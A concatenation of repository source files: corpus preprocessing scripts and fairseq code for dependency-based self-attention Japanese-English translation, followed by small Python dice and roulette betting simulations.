-1 fi echo 'Done.' fi if not_exists $FASTBPE; then echo '====> Installing fastBPE repository (for BPE pre-processing)...' git clone https://github.com/glample/fastBPE.git pushd $BPEROOT g++ -std=c++11 -pthread -O3 fastBPE/main.cc -IfastBPE -o fast popd if not_exists $FASTBPE; then echo "!!! fastBPE not successfully installed, abort." exit -1 fi echo 'Done.' fi if not_exists dnlp; then echo '====> Installing dnlp (for some tools)...' git clone https://github.com/de9uch1/dnlp.git echo 'Done.' fi if not_exists $EDA; then echo '====> Installing EDA (for Japanese dependency parsing)...' curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/eda-0.3.5.tar.gz" | tar xz mv eda-0.3.5 eda pushd eda make eda curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/20170713_fullmodel.tar.gz" | tar xz popd if not_exists $EDA; then echo "!!! EDA not successfully installed, abort." exit -1 fi echo 'Done.' fi if [[ $script_mode = 'install' ]]; then echo '===> Installation is complete!' fi popd >/dev/null src=ja tgt=en train_size=1500000 OUTDIR=aspec_ja_en prep=$OUTDIR tmp=$prep/tmp orig=$prep/orig valid_set=dev mkdir -p $prep $orig $tmp cat $ASPEC_JE/train/train-{1,2,3}.txt | head -n $train_size > $orig/train.txt cp $ASPEC_JE/dev/dev.txt $orig/dev.txt cp $ASPEC_JE/devtest/devtest.txt $orig/devtest.txt cp $ASPEC_JE/test/test.txt $orig/test.txt set -e echo "===> Start preprocessing" echo "====> Extracting sentences..." for split in dev devtest test; do perl -ne 'chomp; @a=split/ \|\|\| /; print $a[2], "\n";' < $orig/$split.txt > $orig/$split.ja perl -ne 'chomp; @a=split/ \|\|\| /; print $a[3], "\n";' < $orig/$split.txt > $orig/$split.en done for split in train; do perl -ne 'chomp; @a=split/ \|\|\| /; print $a[3], "\n";' < $orig/$split.txt > $orig/$split.ja perl -ne 'chomp; @a=split/ \|\|\| /; print $a[4], "\n";' < $orig/$split.txt > $orig/$split.en done echo "Done." echo "====> Removing date expressions at EOS in Japanese in the training and development data to reduce noise..." for split in train dev devtest; do mv $orig/$split.ja $orig/$split.ja.org cat $orig/$split.ja.org | perl -C -pe 'use utf8; s/(.)๏ผป[๏ผ-๏ผ™๏ผŽ]+๏ผฝ$/$1/;' > $orig/$split.ja rm $orig/$split.ja.org done echo "Done." pushd $orig >/dev/null for l in $src $tgt; do ln -sf $valid_set.$l valid.$l done popd >/dev/null echo "====> Tokenizing sentences in Japanese..." for split in train valid test; do cat $orig/$split.ja | \ perl -C -pe 'use utf8; tr/\|[]/๏ฝœ๏ผป๏ผฝ/; ' | \ $PARALLEL $KYTEA_TOKENIZER | \ tee $tmp/$split.ja.kytea | \ $PARALLEL $KYTEA_TOKENIZER -in full -out tok | \ perl -C -pe 'use utf8; s/ใ€€/ /g;' | \ perl -C -pe 'use utf8; s/^ +//; s/ +$//; s/ +/ /g;' \ > $tmp/$split.ja done echo "Done." echo "====> Tokenizing sentences in English..." for split in train valid test; do cat $orig/$split.en | \ perl -C $Z2H | \ perl -C $NORM_PUNC -l en | \ perl -C $MOSES_TOKENIZER -threads $NUM_WORKERS -l en -a -no-escape 2>/dev/null | \ perl -C -pe 'use utf8; s/^ +//; s/ +$//; s/ +/ /g;' \ > $tmp/$split.en done echo "Done." echo "====> Cleaning the corpus..." python $CLEAN --ratio 2.0 -l ja.kytea $tmp/train $src $tgt $tmp/train.clean 1 100 for L in $src $tgt; do mv $tmp/train.clean.$L $tmp/train.$L cp $tmp/test.$L $prep/ref.$L done mv $tmp/train.clean.ja.kytea $tmp/train.ja.kytea echo "Done." echo "====> Learn BPE on $tmp/train.$src, $tmp/train.$tgt..." BPE_CODE=$prep/code for l in $src $tgt; do train=train.$l $FASTBPE learnbpe $BPE_TOKENS $tmp/$train > $BPE_CODE.$l $FASTBPE applybpe $tmp/bpe$BPE_TOKENS.$train $tmp/$train $BPE_CODE.$l $FASTBPE getvocab $tmp/bpe$BPE_TOKENS.$train > $prep/vocab.$l done echo "Done." echo "====> Apply BPE..." for l in $src $tgt; do BPE_VOCAB=$prep/vocab.$l for split in train valid test; do f=$split.$l echo "apply BPE to $f..." $FASTBPE applybpe $prep/$f $tmp/$f $BPE_CODE.$l $prep/vocab.$l done done echo "Done." echo "====> Parsing dependency structures in Japanese..." for split in train valid test; do f=$split.ja cat $tmp/$f.kytea | \ perl -pe "s@ใ€€/็ฉบ็™ฝ/๏ผฟ@@g" | \ perl -pe "s@ใ€€/็ฉบ็™ฝ/ใใ†ใฏใ@@g" | \ perl -pe "s@ใ€€ใ€€/่ฃœๅŠฉ่จ˜ๅท/๏ผฟ๏ผฟ@@g" | \ perl -pe "s@ใ€€/@/@g" | \ perl -pe "s@ ใ€€@ @g" | \ perl -pe "s@ +@ @g" \ > $tmp/$f.kytea.clean mv $tmp/$f.kytea.clean $tmp/$f.kytea cat $tmp/$f.kytea | \ $PARALLEL $EDA -i kytea -o conll -m $EDA_MODEL | \ $CONLLU2HEADS --split-fwspace \ > $tmp/$f.dep python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep done echo "Done." echo "====> Parsing dependency structures in English..." for split in train valid test; do f=$split.en cat $tmp/$f | \ python $STANZA --depparse -l en --batch-size 10000 > $tmp/$f.dep python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep done echo "Done." echo "===> Preprocessing is all complete!" ``` __init__.py ```# Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from . import ( criterions, models, tasks, ) ``` prepare-kftt.sh ```#!/bin/bash # Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. function not_exists() { ! [[ -d $TOOLS_DIR/$1 ]] && ! [[ -f $1 ]] } function corpora_not_exists() { ! [[ -d $orig ]] || ! [[ -f $orig/train.$src ]] } TOOLS_DIR=$(realpath ${TOOLS_DIR:-$HOME/.cache/nlp_tools}) mkdir -p $TOOLS_DIR NUM_WORKERS=${NUM_WORKERS:-8} BPE_TOKENS=16000 PARALLEL_SCRIPT=$TOOLS_DIR/parallel/bin/parallel PARALLEL="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS -k" MOSES_SCRIPTS=$TOOLS_DIR/mosesdecoder/scripts MOSES_TOKENIZER=$MOSES_SCRIPTS/tokenizer/tokenizer.perl KYTEA_TOKENIZER=$TOOLS_DIR/kytea/bin/kytea CLEAN=$TOOLS_DIR/dnlp/preprocess/clean-corpus-with-labels.py BPEROOT=$TOOLS_DIR/fastBPE FASTBPE=$BPEROOT/fast EDA=$TOOLS_DIR/eda/eda EDA_MODEL=$TOOLS_DIR/eda/fullmodel.etm STANZA=$TOOLS_DIR/dnlp/tools/stanza_cli.py BPE_DEP=$(dirname $0)/bpe_dependency.py pushd $TOOLS_DIR >/dev/null if not_exists $PARALLEL_SCRIPT; then echo 'Cloning GNU parallel github repository (for parallel execution)...' git clone https://git.savannah.gnu.org/git/parallel.git pushd parallel ./configure --prefix=$(pwd) make -j4 make install popd if ! [[ -f $PARALLEL_SCRIPT ]]; then echo "GNU Parallel not successfully installed, abort." exit -1 fi fi if not_exists mosesdecoder; then echo 'Cloning Moses github repository (for tokenization scripts)...' git clone https://github.com/moses-smt/mosesdecoder.git fi if not_exists $KYTEA_TOKENIZER; then echo 'Cloning KyTea github repository (for tokenization scripts)...' git clone https://github.com/neubig/kytea.git pushd kytea autoreconf -i ./configure --prefix=$(pwd) make -j4 make install popd if not_exists $KYTEA_TOKENIZER; then echo "KyTea not successfully installed, abort." exit -1 fi fi if not_exists $FASTBPE; then echo 'Cloning fastBPE repository (for BPE pre-processing)...' git clone https://github.com/glample/fastBPE.git pushd $BPEROOT g++ -std=c++11 -pthread -O3 fastBPE/main.cc -IfastBPE -o fast popd if not_exists $FASTBPE; then echo "fastBPE not successfully installed, abort." exit -1 fi fi if not_exists dnlp; then echo 'Cloning dnlp repository (for some tools)...' git clone https://github.com/de9uch1/dnlp.git fi if not_exists $EDA; then echo 'Installing EDA (for Japanese dependency parsing)...' curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/eda-0.3.5.tar.gz" | tar xz mv eda-0.3.5 eda pushd eda make eda curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/20170713_fullmodel.tar.gz" | tar xz popd if not_exists $EDA; then echo "EDA not successfully installed, abort." exit -1 fi fi popd >/dev/null src=ja tgt=en OUTDIR=kftt prep=$OUTDIR tmp=$prep/tmp orig=$prep/orig mkdir -p $prep $orig $tmp if corpora_not_exists; then pushd $orig curl -sL http://www.phontron.com/kftt/download/kftt-data-1.0.tar.gz | tar xz for split in train dev test; do for l in ja en; do mv kftt-data-1.0/data/orig/kyoto-$split.$l $split.$l if [[ $split = "dev" ]]; then mv $split.$l valid.$l fi done done rm -r kftt-data-1.0 popd if corpora_not_exists; then echo "Corpora not successfully downloaded, abort." rm -r $orig exit -1 fi fi echo "removing noise sentences..." paste $orig/train.$src $orig/train.$tgt | \ grep -v '๏ผˆใ€€ใ€ƒใ€€๏ผ‰' \ > $tmp/train.$src-$tgt.tsv cut -f1 $tmp/train.$src-$tgt.tsv > $tmp/train.$src cut -f2 $tmp/train.$src-$tgt.tsv > $tmp/train.$tgt for split in valid test; do for l in $src $tgt; do f=$split.$l cp $orig/$f $tmp/$f done done echo "tokenizing sentences in Japanese..." for split in train valid test; do cat $tmp/$split.ja | \ $PARALLEL $KYTEA_TOKENIZER | \ tee $tmp/$split.ja.kytea | \ $PARALLEL $KYTEA_TOKENIZER -in full -out tok | \ perl -pe 's/ใ€€/ /g;' | \ perl -pe 's/^ +//; s/ +$//; s/ +/ /g;' \ > $tmp/$split.ja.tok mv $tmp/$split.ja.tok $tmp/$split.ja done echo "tokenizing sentences in English..." for split in train valid test; do cat $tmp/$split.en | \ perl $MOSES_TOKENIZER -threads $NUM_WORKERS -l en \ > $tmp/$split.en.tok mv $tmp/$split.en.tok $tmp/$split.en done echo "cleaning corpus..." python $CLEAN --ratio 2.0 -l ja.kytea $tmp/train $src $tgt $tmp/train.clean 1 100 for L in $src $tgt; do cp $tmp/test.$L $prep/ref.$L mv $tmp/train.clean.$L $tmp/train.$L done mv $tmp/train.clean.ja.kytea $tmp/train.ja.kytea echo "learn BPE on $tmp/train.$src, $tmp/train.$tgt..." BPE_CODE=$prep/code for L in $src $tgt; do f=train.$L c=$BPE_CODE.$L $FASTBPE learnbpe $BPE_TOKENS $tmp/$f > $c $FASTBPE applybpe $tmp/bpe.$f $tmp/$f $c $FASTBPE getvocab $tmp/bpe.$f > $prep/vocab.$L done for L in $src $tgt; do BPE_VOCAB=$prep/vocab.$L for f in train.$L valid.$L test.$L; do echo "apply BPE to ${f}..." $FASTBPE applybpe $prep/$f $tmp/$f $BPE_CODE.$L $BPE_VOCAB done done echo "parse dependency trees..." for split in train valid test; do f=$split.ja cat $tmp/$f.kytea | \ perl -pe "s@ใ€€/็ฉบ็™ฝ/๏ผฟ@@g" | \ perl -pe "s@ใ€€/็ฉบ็™ฝ/ใใ†ใฏใ@@g" | \ perl -pe "s@ใ€€ใ€€/่ฃœๅŠฉ่จ˜ๅท/๏ผฟ๏ผฟ@@g" | \ perl -pe "s@ใ€€/@/@g" | \ perl -pe "s@ ใ€€@ @g" | \ perl -pe "s@ +@ @g" \ > $tmp/$f.kytea.clean mv $tmp/$f.kytea.clean $tmp/$f.kytea cat $tmp/$f.kytea | \ $PARALLEL $EDA -i kytea -o conll -m $EDA_MODEL | \ cut -d ' ' -f 7 | \ perl -pe 's/-1/0/g; s/([0-9])\n/$1 /g' | \ perl -pe 's/ $//g' \ > $tmp/$f.dep python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep done for split in train valid test; do f=$split.en python $STANZA --depparse -l en --batch-size 20000 < $tmp/$f > $tmp/$f.dep python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep done ``` translation_dep.py ```# Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import Namespace import json import itertools import logging import os import numpy as np import torch from fairseq import metrics, options, utils from fairseq.data import ( AppendTokenDataset, ConcatDataset, data_utils, encoders, indexed_dataset, # LanguagePairDataset, PrependTokenDataset, RawLabelDataset, StripTokenDataset, TruncateDataset, ) from fairseq.tasks import register_task from fairseq.tasks.translation import TranslationTask from dbsa.data import LanguagePairDatasetWithDependency logger = logging.getLogger(__name__) def load_langpair_dataset( data_path, split, src, src_dict, tgt, tgt_dict, combine, dataset_impl, upsample_primary, left_pad_source, left_pad_target, max_source_positions, max_target_positions, prepend_bos=False, load_alignments=False, load_dependency=False, gold_dependency=False, dependency_with_input=False, truncate_source=False, remove_eos_from_source=True, append_source_id=False, num_buckets=0, shuffle=True, ): def split_exists(split, src, tgt, lang, data_path): filename = os.path.join(data_path, '{}.{}-{}.{}'.format(split, src, tgt, lang)) return indexed_dataset.dataset_exists(filename, impl=dataset_impl) src_datasets = [] tgt_datasets = [] for k in itertools.count(): split_k = split + (str(k) if k > 0 else '') # infer langcode if split_exists(split_k, src, tgt, src, data_path): prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, src, tgt)) elif split_exists(split_k, tgt, src, src, data_path): prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, tgt, src)) else: if k > 0: break else: raise FileNotFoundError('Dataset not found: {} ({})'.format(split, data_path)) src_dataset = data_utils.load_indexed_dataset(prefix + src, src_dict, dataset_impl) if truncate_source: src_dataset = AppendTokenDataset( TruncateDataset( StripTokenDataset(src_dataset, src_dict.eos()), max_source_positions - 1, ), src_dict.eos(), ) src_datasets.append(src_dataset) tgt_dataset = data_utils.load_indexed_dataset(prefix + tgt, tgt_dict, dataset_impl) if tgt_dataset is not None: tgt_datasets.append(tgt_dataset) logger.info('{} {} {}-{} {} examples'.format( data_path, split_k, src, tgt, len(src_datasets[-1]) )) if not combine: break assert len(src_datasets) == len(tgt_datasets) or len(tgt_datasets) == 0 if len(src_datasets) == 1: src_dataset = src_datasets[0] tgt_dataset = tgt_datasets[0] if len(tgt_datasets) > 0 else None else: sample_ratios = [1] * len(src_datasets) sample_ratios[0] = upsample_primary src_dataset = ConcatDataset(src_datasets, sample_ratios) if len(tgt_datasets) > 0: tgt_dataset = ConcatDataset(tgt_datasets, sample_ratios) else: tgt_dataset = None if prepend_bos: assert hasattr(src_dict, "bos_index") and hasattr(tgt_dict, "bos_index") src_dataset = PrependTokenDataset(src_dataset, src_dict.bos()) if tgt_dataset is not None: tgt_dataset = PrependTokenDataset(tgt_dataset, tgt_dict.bos()) eos = None if append_source_id: src_dataset = AppendTokenDataset(src_dataset, src_dict.index('[{}]'.format(src))) if tgt_dataset is not None: tgt_dataset = AppendTokenDataset(tgt_dataset, tgt_dict.index('[{}]'.format(tgt))) eos = tgt_dict.index('[{}]'.format(tgt)) align_dataset = None if load_alignments: align_path = os.path.join(data_path, '{}.align.{}-{}'.format(split, src, tgt)) if indexed_dataset.dataset_exists(align_path, impl=dataset_impl): align_dataset = data_utils.load_indexed_dataset(align_path, None, dataset_impl) src_dep, tgt_dep = None, None if load_dependency: src_dep_path = os.path.join(data_path, '{}.dep.{}'.format(split, src)) tgt_dep_path = os.path.join(data_path, '{}.dep.{}'.format(split, tgt)) if os.path.exists(src_dep_path): src_deps = [] with open(src_dep_path, 'r') as src_dep_data: for h in src_dep_data: src_deps.append( torch.LongTensor([[i, int(x) - 1] for i, x in enumerate(h.strip().split())]) ) src_dep = RawLabelDataset(src_deps) if os.path.exists(tgt_dep_path): tgt_deps = [] with open(tgt_dep_path, 'r') as tgt_dep_data: for h in tgt_dep_data: tgt_deps.append( torch.LongTensor([[i, int(x) - 1] for i, x in enumerate(h.strip().split())]) ) tgt_dep = RawLabelDataset(tgt_deps) tgt_dataset_sizes = tgt_dataset.sizes if tgt_dataset is not None else None return LanguagePairDatasetWithDependency( src_dataset, src_dataset.sizes, src_dict, tgt_dataset, tgt_dataset_sizes, tgt_dict, left_pad_source=left_pad_source, left_pad_target=left_pad_target, remove_eos_from_source=remove_eos_from_source, align_dataset=align_dataset, eos=eos, src_dep=src_dep, tgt_dep=tgt_dep, dependency_with_input=dependency_with_input, gold_dependency=gold_dependency, num_buckets=num_buckets, shuffle=shuffle, ) @register_task('translation_dep') class TranslationDependencyTask(TranslationTask): """ Translate from one (source) language to another (target) language. Args: src_dict (~fairseq.data.Dictionary): dictionary for the source language tgt_dict (~fairseq.data.Dictionary): dictionary for the target language .. note:: The translation task is compatible with :mod:`fairseq-train`, :mod:`fairseq-generate` and :mod:`fairseq-interactive`. The translation task provides the following additional command-line arguments: .. argparse:: :ref: fairseq.tasks.translation_parser :prog: """ @staticmethod def add_args(parser): """Add task-specific arguments to the parser.""" # fmt: off TranslationTask.add_args(parser) parser.add_argument('--remove-eos-from-source', action='store_true', help='if set, remove eos from end of source if it\'s present') parser.add_argument('--load-dependency', action='store_true', help='load the dependency heads') parser.add_argument('--dependency-with-input', action='store_true', help='if set, target-side\'s dependencies are based on the inputs') parser.add_argument('--use-gold-dependency', action='store_true', help='use the source\'s gold dependency for inference') parser.add_argument('--print-dependency', nargs='?', const='hard', help='if set, uses attention feedback to compute and print dependency') # fmt: on def load_dataset(self, split, epoch=1, combine=False, **kwargs): """Load a given dataset split. Args: split (str): name of the split (e.g., train, valid, test) """ if getattr(self.args, 'use_gold_dependency', False): self.args.load_dependency = True super().load_dataset(split, epoch=epoch, combine=combine, **kwargs) paths = utils.split_paths(self.args.data) assert len(paths) > 0 if split != getattr(self.args, "train_subset", None): # if not training data set, use the first shard for valid and test paths = paths[:1] data_path = paths[(epoch - 1) % len(paths)] # infer langcode src, tgt = self.args.source_lang, self.args.target_lang self.datasets[split] = load_langpair_dataset( data_path, split, src, self.src_dict, tgt, self.tgt_dict, combine=combine, dataset_impl=self.args.dataset_impl, upsample_primary=self.args.upsample_primary, left_pad_source=self.args.left_pad_source, left_pad_target=self.args.left_pad_target, remove_eos_from_source=getattr(self.args, 'remove_eos_from_source', False), max_source_positions=self.args.max_source_positions, max_target_positions=self.args.max_target_positions, load_alignments=self.args.load_alignments, load_dependency=self.args.load_dependency, gold_dependency=getattr(self.args, 'use_gold_dependency', False), dependency_with_input=getattr(self.args, 'dependency_with_input', False), truncate_source=self.args.truncate_source, num_buckets=self.args.num_batch_buckets, shuffle=(split != 'test'), ) def build_dataset_for_inference(self, src_tokens, src_lengths, constraints=None): return LanguagePairDatasetWithDependency( src_tokens, src_lengths, self.source_dictionary, tgt_dict=self.target_dictionary, constraints=constraints ) def build_generator(self, models, args, seq_gen_cls=None, extra_gen_cls_kwargs=None): from dbsa.sequence_generator import ( SequenceGeneratorWithAttention, ) extra_gen_cls_kwargs = extra_gen_cls_kwargs or {} if getattr(self.args, "print_dependency", False): seq_gen_cls = SequenceGeneratorWithAttention extra_gen_cls_kwargs["print_dependency"] = self.args.print_dependency if getattr(self.args, "print_alignment", False): extra_gen_cls_kwargs['print_alignment'] = self.args.print_alignment return super().build_generator( models, args, seq_gen_cls=seq_gen_cls, extra_gen_cls_kwargs=extra_gen_cls_kwargs, ) ``` transformer_layer.py ```# Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Dict, Optional, Tuple import torch from torch import Tensor import torch.nn.functional as F from fairseq.modules import TransformerEncoderLayer from dbsa.modules import DependencyBasedSelfAttention class TransformerDependencyEncoderLayer(TransformerEncoderLayer): """Encoder layer block. In the original paper each operation (multi-head attention or FFN) is postprocessed with: `dropout -> add residual -> layernorm`. In the tensor2tensor code they suggest that learning is more robust when preprocessing each layer with layernorm and postprocessing with: `dropout -> add residual`. We default to the approach in the paper, but the tensor2tensor approach can be enabled by setting *args.encoder_normalize_before* to ``True``. Args: args (argparse.Namespace): parsed command-line arguments """ def build_self_attention(self, embed_dim, args): return DependencyBasedSelfAttention( embed_dim, args.encoder_attention_heads, dropout=args.attention_dropout, self_attention=True, q_noise=self.quant_noise, qn_block_size=self.quant_noise_block_size, dependency_heads=args.dependency_heads, ) def forward( self, x, encoder_padding_mask, attn_mask: Optional[Tensor] = None, need_attn: bool = False, need_head_weights: bool = False, src_deps: Optional[Tensor] = None, ): """ Args: x (Tensor): input to the layer of shape `(seq_len, batch, embed_dim)` encoder_padding_mask (ByteTensor): binary ByteTensor of shape `(batch, seq_len)` where padding elements are indicated by ``1``. attn_mask (ByteTensor): binary tensor of shape `(tgt_len, src_len)`, where `tgt_len` is the length of output and `src_len` is the length of input, though here both are equal to `seq_len`. `attn_mask[tgt_i, src_j] = 1` means that when calculating the embedding for `tgt_i`, we exclude (mask out) `src_j`. This is useful for strided self-attention. need_attn (bool, optional): return attention weights. need_head_weights (bool, optional): return attention weights for each head (default: return average over heads). Returns: encoded output of shape `(seq_len, batch, embed_dim)` """ # anything in original attn_mask = 1, becomes -1e8 # anything in original attn_mask = 0, becomes 0 # Note that we cannot use -inf here, because at some edge cases, # the attention weight (before softmax) for some padded element in query # will become -inf, which results in NaN in model parameters if attn_mask is not None: attn_mask = attn_mask.masked_fill(attn_mask.to(torch.bool), -1e8) if need_head_weights: need_attn = True residual = x if self.normalize_before: x = self.self_attn_layer_norm(x) x, attn = self.self_attn( query=x, key=x, value=x, key_padding_mask=encoder_padding_mask, attn_mask=attn_mask, need_weights=need_attn, need_head_weights=need_head_weights, gold_dependency=src_deps, ) x = self.dropout_module(x) x = residual + x if not self.normalize_before: x = self.self_attn_layer_norm(x) residual = x if self.normalize_before: x = self.final_layer_norm(x) x = self.activation_fn(self.fc1(x)) x = self.activation_dropout_module(x) x = self.fc2(x) x = self.dropout_module(x) x = residual + x if not self.normalize_before: x = self.final_layer_norm(x) if need_attn: return x, attn return x, None ``` transformer_dep.py ```# Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Optional from torch import Tensor from fairseq.models import register_model, register_model_architecture from fairseq.models.transformer import ( base_architecture, transformer_wmt_en_de_big, TransformerModel, TransformerEncoder, ) from dbsa.modules import DependencyBasedSelfAttention, TransformerDependencyEncoderLayer @register_model("transformer_dep") class TransformerDepModel(TransformerModel): """ See "Dependency-Based Self-Attention for Transformer NMT (Deguchi et al., 2019)" for more details. """ def __init__(self, encoder, decoder, args): super().__init__(args, encoder, decoder) self.dependency_heads = args.dependency_heads self.dependency_layer = args.dependency_layer @staticmethod def add_args(parser): # fmt: off super(TransformerDepModel, TransformerDepModel).add_args(parser) parser.add_argument('--dependency-heads', type=int, metavar='D', help='Number of cross attention heads per layer to supervised with dependency heads') parser.add_argument('--dependency-layer', type=int, metavar='D', help='Layer number which has to be supervised. 0 corresponding to the bottommost layer.') # fmt: on @classmethod def build_encoder(cls, args, src_dict, embed_tokens): return TransformerDependencyEncoder(args, src_dict, embed_tokens) @classmethod def build_model(cls, args, task): # set any default arguments transformer_dep(args) transformer_model = TransformerModel.build_model(args, task) encoder, decoder = transformer_model.encoder, transformer_model.decoder encoder = cls.build_encoder(args, encoder.dictionary, encoder.embed_tokens) dep_layer = getattr(args, "dependency_layer", 0) if args.dependency_layer >= 0: encoder.layers[dep_layer] = TransformerDependencyEncoderLayer(args) decoder.layers[dep_layer].self_attn = DependencyBasedSelfAttention( decoder.layers[dep_layer].embed_dim, args.decoder_attention_heads, dropout=args.attention_dropout, self_attention=True, q_noise=decoder.layers[dep_layer].quant_noise, qn_block_size=decoder.layers[dep_layer].quant_noise_block_size, dependency_heads=args.dependency_heads, ) return TransformerDepModel(encoder, decoder, args) def forward(self, src_tokens, src_lengths, prev_output_tokens, **kwargs): encoder_out = self.encoder( src_tokens, src_lengths, return_all_attn=True, src_deps=kwargs.get('src_deps', None), ) decoder_out, decoder_attn = self.decoder( prev_output_tokens, encoder_out, return_all_self_attn=True, ) encoder_self_attn = ( encoder_out ['encoder_attn'] [self.dependency_layer] [:self.dependency_heads] .mean(dim=0) ) decoder_self_attn = ( decoder_attn ['self_attn'] [self.dependency_layer] [:self.dependency_heads] .mean(dim=0) ) dependency_out = { 'encoder_self_attn': encoder_self_attn, 'decoder_self_attn': decoder_self_attn, } return decoder_out, dependency_out class TransformerDependencyEncoder(TransformerEncoder): """ Transformer encoder consisting of *args.encoder_layers* layers. Each layer is a :class:`TransformerEncoderLayer`. Args: args (argparse.Namespace): parsed command-line arguments dictionary (~fairseq.data.Dictionary): encoding dictionary embed_tokens (torch.nn.Embedding): input embedding """ def forward( self, src_tokens, src_lengths, return_all_hiddens: bool = False, return_all_attn: bool = False, token_embeddings: Optional[Tensor] = None, src_deps: Optional[Tensor] = None, dependency_layer: int = 0, ): """ Args: src_tokens (LongTensor): tokens in the source language of shape `(batch, src_len)` src_lengths (torch.LongTensor): lengths of each source sentence of shape `(batch)` return_all_hiddens (bool, optional): also return all of the intermediate hidden states (default: False). return_all_attn (bool, optional): also return all of the intermediate layers' attention weights (default: False). token_embeddings (torch.Tensor, optional): precomputed embeddings default `None` will recompute embeddings Returns: namedtuple: - **encoder_out** (Tensor): the last encoder layer's output of shape `(src_len, batch, embed_dim)` - **encoder_padding_mask** (ByteTensor): the positions of padding elements of shape `(batch, src_len)` - **encoder_embedding** (Tensor): the (scaled) embedding lookup of shape `(batch, src_len, embed_dim)` - **encoder_states** (List[Tensor]): all intermediate hidden states of shape `(src_len, batch, embed_dim)`. Only populated if *return_all_hiddens* is True. - **encoder_attn** (List[Tensor]): all intermediate layers' attention weights of shape `(num_heads, batch, src_len, src_len)`. Only populated if *return_all_attn* is True. """ x, encoder_embedding = self.forward_embedding(src_tokens) # B x T x C -> T x B x C x = x.transpose(0, 1) # compute padding mask encoder_padding_mask = src_tokens.eq(self.padding_idx) encoder_states = [] encoder_attn = [] # encoder layers for i, layer in enumerate(self.layers): if i == dependency_layer and src_deps is not None: x, attn = layer( x, encoder_padding_mask, need_head_weights=return_all_attn, src_deps=src_deps, ) else: x, attn = layer(x, encoder_padding_mask, need_head_weights=return_all_attn) if return_all_hiddens: assert encoder_states is not None encoder_states.append(x) if return_all_attn and attn is not None: assert encoder_attn is not None encoder_attn.append(attn) if self.layer_norm is not None: x = self.layer_norm(x) return { "encoder_out": [x], # T x B x C "encoder_padding_mask": [encoder_padding_mask], # B x T "encoder_embedding": [encoder_embedding], # B x T x C "encoder_states": encoder_states, # List[T x B x C] "encoder_attn": encoder_attn, # List[N x B x T x T] "src_tokens": [], "src_lengths": [], } @register_model_architecture("transformer_dep", "transformer_dep") def transformer_dep(args): args.dependency_heads = getattr(args, "dependency_heads", 1) args.dependency_layer = getattr(args, "dependency_layer", 0) base_architecture(args) @register_model_architecture("transformer_dep", "transformer_wmt_en_de_big_dep") def transformer_wmt_en_de_big_dep(args): args.dependency_heads = getattr(args, "dependency_heads", 1) args.dependency_layer = getattr(args, "dependency_layer", 0) transformer_wmt_en_de_big(args) ``` bpe_dependency.py ```#!/usr/bin/env python3 # Copyright (c) Hiroyuki Deguchi # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import ArgumentParser import fileinput def incremental_bpe_dependency(orig_gov, bpe_symbol_mask, word_head_positions): wi = 0 bpe_govs = list(range(2, len(bpe_symbol_mask) + 2)) for i, is_bpe_symbol in enumerate(bpe_symbol_mask): if not is_bpe_symbol: gov = word_head_positions[orig_gov[wi]] bpe_govs[i] = i + 1 if gov == 0 else gov wi += 1 return bpe_govs def main(args): is_bpe_symbol = lambda x: str.endswith(x, args.bpe_symbol) with \ fileinput.input(files=[args.orig_govs]) as orig_govs_lines, \ open(args.bpe_tokens) as bpe_tokens_lines: for orig_govs, bpe_tokens in zip(orig_govs_lines, bpe_tokens_lines): orig_govs = [int(g) for g in orig_govs.strip().split()] bpe_tokens = bpe_tokens.strip().split() # Example: ``Thi@@ s is an ex@@ am@@ ple .'' # => [ROOT, Thi@@, is, an, ex@@, .] word_head_positions = [0, 1] + [i + 1 for i, w in enumerate(bpe_tokens, start=1) if not is_bpe_symbol(w)][:-1] bpe_symbol_masks = [is_bpe_symbol(w) for w in bpe_tokens] bpe_govs = incremental_bpe_dependency(orig_govs, bpe_symbol_masks, word_head_positions) out_line = ' '.join(str(g) for g in bpe_govs) print(out_line) if __name__ == '__main__': parser = ArgumentParser() parser.add_argument('--bpe-tokens', '-t', type=str, required=True) parser.add_argument('--orig-govs', '-g', type=str, default='-') parser.add_argument('--bpe-symbol', type=str, default='@@') args = parser.parse_args() main(args) ```
yut4321/Python-Scripts
yut4321/Python-Scripts randomCounter.py ```import random as rd starting_amount = 10 current_amount = starting_amount bet = 1 for i in range(1000): y = rd.randint(1, 6) x = rd.randint(1, 6) if y == x: current_amount += 6*bet else: current_amount -= bet print(current_amount, end=' ') ``` README.md ```# Python-Scripts Practice of Python in numpy and pandas libraries and others ``` roulette.py ```# roulette spin import matplotlib.pyplot as plt def spin(): import random as rd x = rd.randint(0, 36) y = rd.randint(0, 36) if x == y: # print('Spin was correct') return True if x != y: # print('Spin was incorrect') return False def multiple_spins(intialamount, wager, wager_count, N): # multiple repetions of "games" of a roulette wheel from math import sqrt results = [] for i in range(N): value = intialamount for i in range(wager_count): if spin(): value += wager*35 else: value -= wager results.append(value) mean = sum(results)/N # stats analysis on mean and variance print(mean) s = 0 for i in results: x = results[i] term = (x - mean)**2 s += term print(sqrt(s/N)) return results ```
yuta-pharmacy2359/dwc_JapanSiteInfo_app
